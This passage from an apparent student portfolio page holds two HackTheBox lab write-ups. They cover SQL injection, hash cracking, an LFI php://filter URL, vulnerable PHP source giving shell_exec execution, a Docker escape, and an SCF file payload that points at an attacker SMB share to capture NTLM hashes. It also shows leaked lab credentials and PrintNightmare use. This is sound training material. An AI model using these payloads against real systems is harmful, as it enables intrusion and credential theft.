href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 